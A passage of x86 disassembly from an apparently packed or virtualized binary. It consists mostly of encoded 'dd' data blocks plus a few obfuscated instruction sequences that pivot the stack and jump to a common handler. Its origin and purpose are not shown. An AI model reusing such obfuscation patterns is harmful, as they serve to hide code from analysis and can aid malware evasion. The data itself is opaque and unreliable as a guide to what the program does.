78EC58A7h, 1642E57Dh, 0D12B0h dd 6DCB0000h, 0BE2FFCA2h, 2CF99F68h, 75A46CBBh, 0DA3805ABh dd 7E9F6C12h, 6D37AA9Ah, 0FB1528FCh, 0CD361F18h, 76A5F2C1h dd 0DB4E9A0Ah, 946FBE27h, 0B7E62B41h, 0D137BDC0h, 0CD2BF861h dd 84535F05h, 87E95A26h, 0D523BC24h, 0B51362CBh, 4B7A47EDh dd 0D5014537h, 0C08BE9B6h, 0E55FCB1Ah, 0DEA73A02h, 91FA6B38h dd 37DDA585h, 9E440C6Ah, 0C97BE1D1h, 9CA84E16h, 5B9992B4h dd 11F49B6h, 86870000h, 314F324Ah, 8AD99751h, 14626AFh dd 0F25978B4h, 9E6EAC26h, 1F6B204Fh, 7DE6D138h, 6B11DA38h dd 9DE2D9Eh, 313DE3ABh, 16E38951h, 7D4AF0B8h, 0CA3D278Dh dd 81505C02h, 0DD7B0534h, 612BD501h, 0D19AF0BBh, 84ED5E2Bh dd 1B7CF35h, 437FB65Bh, 0AF21433Eh, 0E8509FBEh, 3Fh, 8AE2F826h dd 223A1645h, 619DDB4Fh, 29FAC145h, 0A376C506h, 423E6D3Ah dd 0DADB4E9Eh, 4A90F074h, 0A2AEDD22h, 0AFDB4EA0h, 929A3A46h dd 0CB000000h, 9E314F7Eh, 9700DB4Eh, 6D37941h, 0F87E4695h dd 0FD4A8FDDh, 20FF81B0h, 0ED32DB4Fh, 4F20C2BEh, 9D066FDBh dd 4FE81F4Eh, 81DFD138h, 790736B8h, 0B8D501F1h, 0C497E64Fh dd 68308E5Bh, 551F7DC2h, 2271E2AFh, 0C0662E0Eh, 0AE541D7Bh dd 1A5B8A5Fh, 0C3D501F3h, 0B27A6DD7h, 32A3000Ch, 6CA8F53Ah dd 19CDC692h, 9AE61579h, 97D50211h, 4776C52Eh, 0CAD37901h dd 0AC0AD740h, 50713EE4h, 4D88F86Ch, 9DABDA1Fh, 0A4C47F12h dd 89DF854Eh, 0A5B11AC0h, 8FDDF85Bh, 882D1B4Ah, 0AB14D120h dd 12B880DEh, 6BFB3706h, 2B98D46Eh, 1C92776h, 0E3418E5Bh dd 37A8751Bh, 22FFB9E8h, 117F1AF8h, 9C63C153h, 8149A7F6h dd 0B300CFDBh, 0FA58FC84h, 76CC35BEh, 0C53603A9h, 0AA501876h dd 993F0765h, 4A17754Ah, 0D2B6D7A4h, 1A76F92h, 0A74D15F5h dd 0CBCDAh, 0B1ED0000h, 5F69451Ah, 0D8A0EFB6h, 0AF758C54h dd 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh, 0AD76D4A1h dd 0FDC3A07h, 743E9C69h, 0D8A301CEh, 52E86532h, 0B850E289h dd 4, 8358C201h, 148704EAh, 8A685C24h, 89000019h, 0C068243Ch dd 89000015h, 5568241Ch, 8B065466h, 0C483243Ch, 4EC8104h dd 89000000h, 4812424h, 424h, 0EC815B00h, 4, 8F243C89h dd 34FF0843h, 0C4835B24h, 2434FF04h, 4C4835Fh, 0F914E0E9h dd 0FF1754FFh, 92804791h, 6A85B82Ah, 0C5030654h, 0D0D5E0FFh dd 0D8406C23h, 50A95538h, 0DF4B485Fh, 645E5325h, 8D8D70B0h dd 6546B85h, 810F57h, 5B000000h, 5998D89h, 0BD8B064Dh dd 64D05B1h, 51D85C7h, 70B8064Dh, 0B8660000h, 858B1116h dd 64D3225h, 2E985C7h, 64Dh, 0B5FF0000h, 64D3171h, 6862E281h dd 95FF280Bh, 64D2E55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0B1C35545h, 101D8501h, 870F064Dh, 4 dd 0C15DBF66h, 95FF006Ah, 64D0511h, 1DEBC08Bh, 115ABAD0h dd 9969892Ah, 186E68B4h, 88726ABBh, 0C5A6C518h, 3152EEA4h dd 0F1B22C27h, 0DF04EB59h, 0E97C779Eh, 5ADh, 0AFBB6127h dd 525E04CFh, 0F602A872h, 97A34916h, 3C48EEB7h, 18E1B63Ah dd 0BF866672h, 612D0D19h, 7CFAFBBh, 0F1BE5561h, 0FAB5BEC2h dd 286873D4h, 3A07AD75h, 286D13DCh, 0C5B01CAh, 0AA5018F8h dd 144390DDh, 0DB4F206Ch, 0AF0D5CC5h, 277441E7h, 8E8DFEC9h dd 3904951Eh, 3FB07DE6h, 21C792F0h, 0EE8EA0DCh, 8DCF7DB1h dd 85F3693Eh, 14DF3DDFh, 0DA30A16Eh, 2A9B680Eh, 0FB57DDBh dd 0FD63403h, 0DC2B9C69h, 0CB27Eh, 0CBB5E431h, 0ECDB4E67h dd 4E67C3BDh, 3A056EDBh, 582482D1h, 0C087E5B2h, 67710F3Eh dd 57C0DB4Eh, 0C28F3501h, 0FA1BE851h, 0EFBB2E16h, 955D3D49h dd 80F322EFh, 16DB4E67h, 78D6A349h, 4B3B08AEh, 71797FE5h dd 0DD834CAAh, 0B722228Eh, 0B016FBAFh, 993F0967h, 0A40C5BCCh dd 50h, 7AD75E2h, 0F69C64C2h, 0DFA3D2A7h, 15DB4F20h, 0B8CA352Fh dd 5FB01642h, 1, 4AA759Dh, 0C18CEA37h, 58FEC51Bh, 6DCB1A8Bh dd 0D12FFCA2h, 33915E04h, 9AF8C56Bh, 0E75D2AD0h, 9705CB79h dd 0FDC83B29h, 0E7B41257h, 0FEDEF241h, 3A849036h, 3906AC75h dd 21C78EECh, 3A974D2h, 0A1FF4636h, 74E02FD5h, 9E440DF0h dd 44EAB292h, 7FDD2A77h, 0D0410EB4h, 4F20D7A9h, 0A2F15ADBh dd 8FD47A44h, 5872C753h, 85D43676h, 96CE3CB0h, 0DDF14884h dd 0AACAA06Eh, 15E28854h, 47EF55A4h, 74B0169Ch, 68h, 6AC75B2h dd 6B11DB39h, 8ABA289Eh, 732C68h, 8DFD7DB0h, 78C76D37h dd 9FAB511Ah, 3085F6BFh, 0A14B2F24h, 4BA976DFh, 5793D87Eh dd 0F303D860h, 13E83703h, 7542E8B5h, 0D9A64C17h, 3B08AE7Bh dd 97CDB1CAh, 0DD87F561h, 16EA1022h, 4AA7B0h, 75E50000h dd 0DB3906ACh, 859C690Fh, 6F38AB99h, 90EEBDC9h, 9D120C6h dd 3704AA75h, 4F206B08h, 0BB612BDBh, 1DC390EEh, 0BF89DF50h dd 0B0104C19h, 76A1B397h, 0B4B094ADh, 1450363Eh, 37DDA402h dd 58E082E8h, 117B016h, 55000000h, 0C005AB75h, 0A0BFCE84h dd 4E300F71h, 85B922DBh, 0F342FA08h, 65F8C01Eh, 0B627F49Ah dd 3CCC084Dh, 714D478Ah, 0BCDDB201h, 0AF796CD8h, 35A0FD09h dd 74DD834Ah, 0BB84E22Fh, 0E097C615h, 0C7D13827h, 2EFBA169h dd 374978BDh, 0FAD501DFh, 66F4291h, 0F29863C1h, 57FDC725h dd 61B0198Ah, 0C0662E8Ch, 0C087E5B4h, 0A56DCB1Ah, 7F0332FFh dd 6ED501DFh, 571FC282h, 78D6A5B1h, 5EBC0BB1h, 0C523F096h dd 344C7BFDh, 0FDD501DFh, 0DFF789B8h, 0D13AD501h, 5CBAFF68h dd 0C59AE98Fh, 12F56FD5h, 0B098A44Ah, 0B65B0396h, 17145h dd 28868300h, 7AEBB85Eh, 0FA85502Bh, 0DD228B31h, 3C9B5490h dd 2DA81DA8h, 3BDCAFDEh, 9DFBD138h, 0EC5D2AD0h, 9461CA9Dh dd 771DE947h, 522E5DAAh, 0DFD501F9h, 0EEB70D76h, 0BB0A7B48h dd 0AAEF955Dh, 0F9522E5Dh, 0ABDFD501h, 0EA9EE0E5h, 0B6FB6432h dd 1AAF987h, 80CF38D5h, 1EC48C6Ch, 0DFA60451h, 0ACFB6C39h dd 13E0864Eh, 6487BD23h, 2EAF69Ch, 0B65B3460h, 4897h, 0E2F8D500h dd 3A16458Ah, 17DB4F22h, 0CEB2E1AEh, 0D8DB4F1Fh, 3C9A670Dh dd 6A10DD70h, 50BE3401h, 98FEDE14h, 561EBCACh, 46ECB311h dd 6CB90879h, 4F21133Dh, 20E83EDBh, 7A06357Ah, 0B7DB4F1Eh dd 39D9E54Eh, 0B2h, 0A3986EFh, 0DB4F2076h, 280352BBh, 4B7ABFADh dd 0D1384FBCh, 0F14F1C85h, 0F13E8329h, 1F1BEC2h, 0BB0A73D5h dd 59FFC7A7h, 0F3185D8Ch, 0D9C5D501h, 1DB0786Bh, 71E2AF55h dd 0DBA84E1Bh, 26F5016Ah, 0F0D6AAD9h, 0F25BD501h, 830DC8A3h dd 1F12C54h, 245C8BD5h, 0DD501F1h, 2B70D9A4h, 1F084FCh dd 0DB44ADD5h, 5D346796h, 67BDCAD3h, 0B92AF79Dh, 0E5AD0B50h dd 0B201723Fh, 11B77FDDh, 521790CCh, 0FF28EF2Ch, 0D6BADBB0h dd 672E8C6Eh, 3E9772C1h, 3E9CE92Eh, 0D9A7CE74h, 0CDCEADB9h dd 1E8F5C02h, 4E9BEA53h, 7F257C1Fh, 581F75C4h, 0B74E5B2h dd 0DDF8B5FFh, 7E45D8A2h, 319A0BD8h, 0E93683C8h, 0F61DC38Bh dd 0DB4F208Ah, 0E18751A7h, 0A1FA2978h, 0D6D1208Ch, 0B5265A89h dd 0A20BD4FAh, 4A178053h, 727E24ECh, 5724CA92h, 0BEA52128h dd 550F7D56h dd 3844EAB2h, 0A5EA9058h, 1DE97C47h, 0EABF0E77h, 5F21509Dh dd 0D25AD6C4h, 8BF52469h, 0A65AD6C4h, 0C390EE3Dh, 0F6C36930h dd 0BD26CC98h, 8EF79D67h, 0F19763C1h, 58FEC624h, 0DC88748Bh dd 2B19FD16h, 3E4AF0B8h, 23F0965Eh, 6AC78D6h, 680EDB39h dd 72C12A9Bh, 854h, 28860A00h, 0E867B65Ch, 9AF7520h, 7016DE3Ch dd 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah dd 0CE743E9Ch, 32D8A301h, 0A068E865h, 8900006Bh, 0DF682414h dd 89000060h, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 2434895Ch, 7FE9BD55h, 0CD814EBDh, 4692310Fh, 312DED81h dd 0EDC15298h, 16C58102h, 0F7D78F88h, 8EDC1D5h, 0F1ED814Dh dd 89FA94FAh, 0EC815DE8h, 4, 81242489h, 42404h, 835E0000h dd 48904ECh, 242C8124h, 0BEB6A38h, 8108468Fh, 6A380846h dd 348B0BEBh, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 24048B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- dd 1A8E298Ch, 70B4B876h, 0C5030654h, 0EB8AE0FFh, 52C51B61h dd 3850235Eh, 577E7410h, 699A314Eh, 0F2351968h, 0B86AA9h dd 87E65183h, 0D2F93631h, 0A4200E73h, 68F146A8h, 4EB45F9h dd 6E874586h, 4F9E9h, 0A84E1400h, 4BF1BC9Ch, 0EF955F3Fh dd 903603E3h, 35DBA484h, 0D0812729h, 75556107h, 1CFC08AEh dd 0BE9EAA50h, 0AD4450F6h, 0AFCFB1E0h, 5762D4FAh, 7AD7517h dd 6D13DC3Ah, 13B98161h, 7DACF946h, 0DB4F2103h, 1876C52Eh dd 765AA50h, 713E943Ah, 49A77CCBh, 950BD87Eh, 2CA3D27h dd 0A470505Ch, 4612F2FEh, 0AE75D3A0h, 0BA87C308h, 1B659460h dd 16DB4EFBh, 982679ADh, 83A479C8h, 0F553A59Fh, 46B7842Ah dd 27CD99F7h, 16BC84E2h, 7589D849h, 5A27CD95h, 4F0A482Bh dd 8EB69CDBh, 16543353h, 7CE8B0h, 65A10000h, 0A8D7763Bh dd 0DB4F10D8h, 62BCF059h, 6B32889Ch, 3887F8C5h, 1AAD7570h dd 723FA84Eh, 4F203F43h, 90EEB5DBh, 62CE1DC3h, 0E5B210E2h dd 4714723Fh, 0FA63D4A1h, 423D45ABh, 1DAB016h, 18000000h dd 0B65C2886h, 0CB2978E9h, 408D5A00h, 47A3DC04h, 43CC7753h dd 6CD70B57h, 670DD5F9h, 8651AFFEh, 0E8B513E0h, 91FF7542h dd 0BF6530D3h, 780BD3B3h, 0DD3B08AEh, 9C056E14h, 0AC754690h dd 10DB3906h, 47AD9D6Ah, 8E21EA1Dh, 0A9D81DC3h, 0DB4F20D7h dd 7C88F15Ah, 0A42460ADh, 1B0FDF2Fh, 95ACD4FBh, 0DC0BDB4Eh dd 0DB4E95A4h, 0F059248Dh, 0E87B43A1h, 420F781Eh, 69981AE4h dd 0DB4E9617h, 348B11Ah, 0E635DBA5h, 352F9D11h, 16CBA8CAh dd 5E4FB0h, 758D0000h, 85FB2AACh, 32DB4F20h, 4F207D03h dd 804BB4DBh, 83E1AE17h, 0D04613B9h, 36FFE262h, 0DBA48490h dd 3D0A6835h, 0E856CA97h, 40F1817Ch, 0C321B016h, 138451F7h dd 475CC4h, 759A0000h, 0DB3906ACh, 0A2209E0Fh, 2FCDFB3Fh dd 0F6E2F9C6h, 305FAC4Eh, 0DB4E4850h, 0CB2978E1h, 6505C02h dd 4E17AA75h, 16ADBA8h, 206E0534h, 0AF76DB4Fh, 0F8CE2773h dd 0EB3A7614h, 81AC57Fh, 0AFB0167Ah, 1, 5AB75EDh, 6C12DA38h dd 0AA9A7E9Fh, 82C76D37h, 16AC2D46h, 0D800025Fh, 0E2E216CCh dd 0F0965FB1h, 0C7243887h, 0BB195E0Eh, 0ADFA49EFh, 8F350260h dd 0FAC76D39h, 6C0B3A89h, 0B5D13766h, 59217F4Ch, 0FFC7A7B3h dd 255D8C59h, 0C8D5011Fh, 0AD7568DCh, 0DF2CFB07h, 11ED0B0h dd 0A9F861D5h, 10DD834Bh, 7744EAB2h, 1AE24087h, 0E736A774h dd 4E16C97Bh, 6FCD9CA8h, 48AEFDA3h, 0B658403Eh, 134DDh dd 28861B00h, 58FECA5Dh, 10C5A0EFh, 0A3E8175Ch, 34D13841h dd 9A670DD6h, 9E07DA29h, 0A3DD0C59h, 8ED501FFh, 0A301D625h dd 492935DBh, 0B00EDB81h, 857542E8h, 0FAC2251Fh, 0FF374978h dd 0A26FD501h, 5FC831FCh, 63DB6B53h, 4400B65Bh, 3E000000h dd 458AE2F8h, 4F223A16h, 0F4C117DBh, 0A710814Eh, 1FD5ABDAh dd 47DB4Fh, 7B677B3h, 781CB689h, 4E962F51h, 4A9902DBh dd 0D40666DEh, 242C5BA0h, 2DDB4E97h, 55217FC4h, 2271E2AFh dd 0A36E0Eh, 0F8240000h, 0FD4A8FDDh, 7A2605C1h, 9AC14F8Dh dd 0DB4EBFE6h, 6E9DE24Bh, 0DB4EC012h, 1A67B61Fh, 37EF1CEBh dd 77BC25D1h, 0DCA94F19h, 0E9471C6Bh, 8F6F7B21h, 255421C7h dd 0D5019150h, 9B62C08Dh, 0A3AA6F5h, 5D690FD7h, 0C268308Eh dd 2F3D9873h, 1AC08CEAh, 0F5317ECBh, 0C98543BEh, 33281A8h dd 0CAD38D0Bh, 0C310DD46h, 0A8394776h, 4F7ECEADh, 0CEADA831h dd 63CC9700h, 6CEEB614h, 0ADA7433Dh, 1C85EECEh, 413F9BD7h dd 9B01B3E0h, 7256774Ch, 294392F2h, 459B5E4h, 0C4F8C47Fh dd 8381B99Eh, 3642AB85h, 8FDDF8ECh, 791FEC4Ah, 9FEC3BACh dd 20939E70h, 7D4AB3D1h, 0F9C4571Fh, 0AC158653h, 76F8C0A0h dd 0AF86FA29h, 42ABD4FAh, 0FAAF651Bh, 0FA63CCD4h, 0E3D7FE2Dh dd 0F9676D4Dh, 2AD0984Bh, 0D0763E1Eh, 0B69B603h, 0D739A40h dd 246C277Ch, 410E6CBBh, 0D33CE2AEh, 4301E506h, 0F58853B1h dd 501D862Ch, 6A3290DFh, 8BE9B8C4h, 730D3CBEh, 0BE6C277Bh dd 0C11FEC55h, 138451F7h, 35FD5BAAh, 1775C28Fh, 0EF73A74Dh dd 8517307Ch, 3CAE837h, 80000000h, 0AF758C54h, 16DE3C09h dd 7945A370h, 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h dd 743E9C69h, 0D8A301CEh, 68E86532h, 3CE9h, 89240489h dd 405E0h, 0E8830000h, 24048704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push 654719Fh mov esi, [esp] add esp, 4 push 9ACh mov [esp], esp add dword ptr [esp], 4 pop eax push ebx push ecx mov ecx, esi mov ebx, ecx pop ecx mov [eax+8], ebx pop ebx push dword ptr [esp] pop eax add esp, 4 mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- db 0E8h dd 0CF0B2F61h, 92AC46D7h, 7BA643BEh, 5B8C2C3h, 3065476h dd 0E8E0FFC5h, 50447A78h, 0DB37A3A1h, 3E734DF2h, 1B4785D4h dd 46556028h, 0A83049ECh, 5B36B7E3h, 616C6A6Ah, 9836F10Bh dd 0A61EB524h, 0F276C3A7h, 0BB5B2299h, 0C44C7574h, 8D1E9F4Eh dd 5477D18Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 2A180768h, 5998D89h, 8C0F064Dh, 6 dd 25ADB589h, 85C7064Dh, 64D051Dh, 59B4h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 60C35747h, 76675CC0h dd 33EA262h, 4D0E1185h, 0E985C706h, 64D02h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 8652C357h, 958B2DD8h, 64D0B7Dh, 2DB5FFh dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0B07BBDC3h, 0B8666E0Bh, 0BD295708h, 64D204Dh dd 2E5595FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 7A9069C3h, 78A3A503h, 95FF006Ah dd 64D0511h, 29EBC08Bh, 1A4C3B91h, 534EF91Ch, 57A08D78h dd 198F7C23h, 0DC76D9B0h, 2C77480Fh, 0ED3198A2h, 33BE0284h dd 3FDE65BFh, 863A02E8h, 9E8F0h, 0B7280000h, 0E2D40674h dd 600ECD17h, 5E9h, 0B4833C00h, 0F530B5Ah, 615BC7B7h, 0EEC08158h dd 6800005Dh, 0 dd 0BE85Bh, 75750000h, 0A033B972h, 4235C4FDh, 0B58501ACh dd 5E064D0Eh, 0BE0334FFh, 516EF099h, 6850F5Ah, 81000000h dd 13860FD1h, 0CDF2817Bh, 0F16D455h, 689h, 0D58D8B00h dd 81064D23h, 0CFD454F2h, 3800F6Fh, 0F000000h, 0EA81FAB7h dd 1D08E451h, 89181489h, 4D24359Dh, 0E1F4BE06h, 0EB833AADh dd 4699B903h, 894B31F1h, 4D1C599Dh, 0CCFB8106h, 0FFFFFA2h dd 0C85h, 0E9F98B00h, 14h, 0F1E8A44Fh, 0E9F18B97h, 0FFFFFF88h dd 0A0857D45h, 0DBFCAE5Fh, 9E7804EBh, 58E95679h, 42000005h dd 0EACAD67Ch, 8D6D791Fh, 31111DC3h, 0D2B2BE64h, 55576309h dd 8F35FE53h, 36DCA383h, 0D87E4A2Ah, 7E24ECCCh, 0DF0EDB72h dd 0D4FAA8A1h, 75458590h, 0ED3A07ADh, 0BCED67B1h, 0B60576E5h dd 0DDE98F58h, 0C28F35FDh, 29F69C64h, 8D5A00CBh, 0EFBC622Fh dd 521FC591h, 0BA872DF4h, 41036949h, 0B5AF1D8Bh, 0D8E48A52h dd 7A862CF8h, 0E328CE9Ah, 0F2196796h, 0D318DB4Eh, 4EF1DCA4h dd 83EC55DBh, 3A015F34h, 0C2A6C794h, 0ED935F82h, 933901E1h dd 9EA8124Eh, 419400B7h, 9001CE74h, 0B603D827h, 0E00F9158h dd 0DB4E26A0h, 0F2BF2891h, 70033281h, 74DB4E26h, 1B2BD68Eh dd 0C0B016B8h, 0C3h, 0A94F1B79h, 0AD75925Ah, 0FA56253Ch dd 0DF48FDA6h, 0ED6F3C9Ah, 4E78C2BEh, 9D066FDBh, 0EE2B5FD0h dd 0D92131EBh, 0D605DA29h, 0DB4E51ACh, 0C8458148h, 0EC89B7B7h dd 0AC271A5h, 2305EB81h, 1FC68D4h, 0B016C061h, 196h, 0AA75D400h dd 0A783BF04h, 1A719803h, 68B58AD9h, 8DBC3E0Ah, 0DB4E8AF3h dd 9F6CD53Eh, 209BFF63h, 0C52E39C0h, 0A74D1876h, 9AF7CDAh dd 7016DE3Ch, 0D8C267A3h, 6F99BF7Dh, 0F5BE5119h, 219E64Fh dd 3AA82E16h, 187698CCh, 8EDBA84Eh, 4E2C215Fh, 3EA710DBh dd 55C691EFh, 3A120D0Dh, 0F3BE14BEh, 9D8E44Dh, 2EF38DBCh dd 0D53EDB4Eh, 0BA602886h, 0F19B3975h, 0CFF33FE8h, 75226C80h dd 0DB3906ACh, 0D8256A10h, 4F20D7A9h, 0BDF15ADBh, 3183969Ch dd 0B98EDDFDh, 5A2482C9h, 2076E7B4h, 74E5B258h, 698BB925h dd 669A400Bh, 4F59272Ah, 1270BFC6h, 48EEB649h, 188127F2h dd 0E2642C0Ch, 4E56CDB3h, 0BD5DFBDBh, 0CDBD81C6h, 63309902h dd 0DFA83B05h, 8F03D039h, 7319E240h, 13DF35A6h, 0E02FA06Dh dd 6D05F074h, 8AB01691h, 8Fh, 6AC75C8h, 6B11DB39h, 0CE74409Eh dd 33D9A301h, 0E1634F66h, 20A0E00Fh, 2891DB4Fh, 61E351BFh dd 5B44B57Eh, 0D4E0C844h, 0D9B9C52Eh, 509D6A10h, 0ACC19714h dd 86D57D55h, 0E8B55B28h, 0A35E0674h, 0B0165193h, 6228h dd 28866600h, 79EAB75Dh, 5D03CC2Ah, 0C0663290h, 0B0561D7Bh dd 4E2372E3h, 0E6194B37h, 146C9B1Dh, 0B4DB4F21h, 0EB8818BBh dd 0EF5823B1h, 0C84177BBh, 0AF184DD2h, 7B98D4A3h, 0ACAB08DFh dd 3805AB76h, 3D085EC7h, 75804897h, 83704AAh, 0DB4F206Bh dd 26D19379h, 0B016421Ch, 7AD78D6h, 150B8h, 758E0000h dd 0DA3805ABh, 7E9F6C12h, 650A7DB9h, 0B9FB6A79h, 0EEE74198h dd 4493FCADh, 0AF796CD8h, 4877C409h, 0DB4E2638h, 2D4190F9h dd 8E9C05D0h, 0E41BB1D5h, 4985CA33h, 0C9A7FAB8h, 1311457Eh dd 0D9AF102Ch, 0B4E3307Fh, 0D1376FC3h, 0CA28F55Eh, 70505C02h dd 5FBD02A8h, 0CCA1F096h, 127E59Dh, 50F6C1D5h, 0B2582583h dd 62E2CEE5h, 0F3715D6Ch, 96A24810h, 348EEB6h, 0D76D6CC7h dd 0D8488FBh, 8A92720Eh, 0FE4339Ch, 7643E9B1h, 0D2242086h dd 0B6944796h, 321347EDh, 6BC918EBh, 22F1FDA3h, 275988D5h dd 0AD5015Ch, 5C067AA1h, 0C22BD501h, 87750D73h, 0AA2B65Bh dd 0E0000001h, 4A8FDDF8h, 3841701Bh, 0C28BE1D1h, 75DE4F1Ch dd 0DC824AA8h, 0D8A301D0h, 0BD85E332h, 24EC4A17h, 5BC1B17Eh dd 882EF6E9h, 63F2947Ch, 4029B65Bh, 67000000h, 7FAEE2F8h dd 0DB4F2101h, 195EC730h, 4F2266EAh, 0B582EBDBh, 4F20FA86h dd 7DDB22DBh, 0B0561FB2h, 0D88CF847h, 0F53A32A8h, 4F228AC6h dd 70114DDBh, 0B662EFA6h, 5DC699E8h, 97B151h, 0F8670000h dd 1B4A8FDDh, 0D1384FECh, 49A7EC55h, 0B78CDB81h, 0F7BF1D6Ah dd 0EC138451h, 0D501F194h, 17DE349Dh, 0E433A471h, 0C18BE86h dd 6E14DF3Dh, 617C65A1h, 2FAEBBA3h, 511977C6h, 3391DEABh dd 4372C167h, 0D5012232h, 6285BFABh, 8BE8F49Ah, 0AEDD224Ah dd 0CAD29A12h, 0DC0B58A5h, 0CEACA7A4h, 83FD248Dh, 0AECEACA7h dd 0BA23F645h, 56C78FEDh, 40AF1D90h, 9865CE0Fh, 0FFCC723Ah dd 612ED4A1h, 11C77DEBh, 0CD533F8h, 0B9AB1766h, 1B600CC9h dd 7E22D4ECh, 0E8F45DC4h, 8FDDF89Eh, 0D89FFD4Ah, 0CB4E332h dd 0ABD1209Ah, 0A7512F5Eh, 6E77D4FAh, 80FDD1DEh, 0CA19824Dh dd 63C18EF7h, 9E9F59Bh, 9FCE9B41h, 64C4D9EBh, 8E5B01CBh dd 0CD66930h, 0BF289966h, 0A89C02F2h, 1E46B422h, 717D23EBh dd 5623C991h, 0B8852BF8h, 5FB1B397h, 0C6933901h, 2EFBA168h dd 0A70554BDh, 4D2D39DFh, 0F412DF85h, 3, 758C54AAh, 0DE3C09AFh dd 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh dd 3E9C690Fh, 0A301CE74h, 0E86532D8h, 5E08950h, 4, 8704E883h dd 895C2404h, 0A2682404h, 89000056h, 96682404h, 89000002h dd 0CD68243Ch, 8B065478h, 0C4812404h, 4, 8904EC83h, 4832424h dd 685F0424h, 16CCh, 8F240489h, 3C8B0847h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 582434FFh, 0E904C483h, 0FFF901A1h dd 0B89F5F17h, 6547DBEh, 0E0FFC503h, 302870Eh, 71F4AE0Dh dd 9B57535h, 26E0A911h, 108ABF73h, 71EF43F1h, 33A0E488h dd 460A00D1h, 54C42F23h, 664D14D6h, 7FAC7289h, 498C390Dh dd 17AA3676h, 18AF33E8h, 7B01F203h, 1ACFB1D3h, 42B23EECh dd 0E95604EBh, 94E936F6h, 0F2000005h, 9A7A862Ch, 3D1D29CFh dd 0E1C1CD73h, 82626E14h, 50713B9h, 3FE5AEE3h, 0E68C5333h dd 882EFADAh, 2ED49C7Ch, 8FBE8B22h, 0D4FAA2F1h, 75F53540h dd 64C207ADh, 0C927F49Ah, 0A2F15A00h, 0A66FCDh, 0D7727FBBh dd 6E3BE1ABh, 0B748C9FDh, 0BF9FB302h, 378451F7h, 31C5BBEAh dd 36CDB4Eh, 0E88E56B4h, 0A470CE1Bh, 71C031FEh, 5DA24813h dd 0C59238FFh, 7B232054h, 83FFCB40h, 7BE95F34h, 0A84E16C9h dd 9BDA1663h, 0F2ECC41Dh, 8585FB22h, 43ACDB4Eh, 3400E0F4h dd 0D6A2828Eh, 3E056330h, 0D7065398h, 0DB4E85A9h, 0C59036FDh dd 17380D5Ch, 2CE3133h, 0A870505Ch, 8AE83502h, 8B4B4EBFh dd 0CD577DD4h, 8DE61564h, 57DB4EC9h, 7E08F371h, 9DB01615h dd 68h, 7AD75DBh, 20770B3Ah, 977DDB4Fh, 421032ADh, 1C7B016h dd 5000000h, 0F928AA75h, 0DB4F2087h, 0EC0D41AAh, 0A1A57322h dd 0B513E049h, 197744EAh, 4BF1B94Ch, 319F15E2h, 0C5A5E133h dd 0EF777AE1h, 1BE64493h, 0AF18BE88h, 0A7232E6Ah, 3AA8C75Ch dd 8BFCC96Fh, 0DFBFD322h, 15BB8417h, 77A3D748h, 0FB90A878h dd 0DF29359Eh, 5019AC75h, 36CDDAAh, 670DD836h, 44AA9Ah dd 626E14DDh, 4714BA82h, 0AC791FE9h, 789ACA38h, 4E01F3Ch dd 0BA097841h, 164E2254h, 9CD9B0h, 75170000h, 0DB3906ACh dd 0CB39A011h, 0A690A4E6h, 4712703Dh, 0AD76D4A1h, 7D90A23Ch dd 44AD7F7Dh, 0D1930177h, 53FAD1Bh, 677319E2h, 0D318BE87h dd 49303697h, 925E7C03h, 0D84F83ECh, 32476B6Fh dd 419F74C3h, 8D01CE74h, 0B8BA251Fh, 3FB01614h, 88h, 5B28867Dh dd 3F0866B5h, 703DE3ACh, 45196FFh, 4F20ABD5h, 0A3DD0CDBh dd 8EDB4F20h, 0A2F15A25h, 0FDA36FCDh, 6208D230h, 0C86E3795h dd 4CF8E4FBh, 0D98B7786h, 6A10D937h, 7FDD2C9Dh, 350410B6h dd 20C7B9E8h, 16ADB4Fh, 4A86EAB2h, 4E76CDEDh, 3391E052h dd 670DD568h, 710231FEh, 25DB4ECCh, 89E7B45Ah, 0FBC218BEh dd 8CF59B68h, 0FB69CFBFh, 0EA26EDF5h, 0B152D4Eh, 2894E319h dd 0D7A1C13Ch, 156B016h, 94000000h, 0D584A86h, 0FF33D9A5h dd 7ED45916h, 64C211B7h, 73AFF49Ah, 2C5BD113h, 0DB4E4354h dd 0D64074DDh, 0F0C5143Fh, 0DF24CA92h, 0BF0EB481h, 19BF8CEAh dd 7D23EE4Ch, 0E262C8B0h, 268F35FFh, 0C83B290Dh, 0EF4C58FEh dd 0F44186E6h, 0B10878A7h, 0D329DB4Eh, 0C8FC650Bh, 0AB897596h dd 0E5146318h, 0D137B692h, 651B4A8Fh, 0CCD5016Eh, 9B04AA76h dd 3F076532h, 89185499h, 2A56852Ch, 7D5019Eh, 3A4B6A9Eh dd 9C7C90DFh, 14612ED4h, 7643E9B6h, 0FB87B605h, 0F2D501AAh dd 0E3AB5E06h, 8951313Dh, 0F0B816E3h, 89B8054Ah, 0D501AAF7h dd 5D8CD13Ah, 0D501AB23h, 8156A50Eh, 0C6392B91h, 0FCA26BFEh dd 4955BE2Fh, 5B34C161h, 148F6B6h, 86340000h, 0EDBA6028h dd 0B51EC48Fh, 354A8B66h, 1A5FC86Eh, 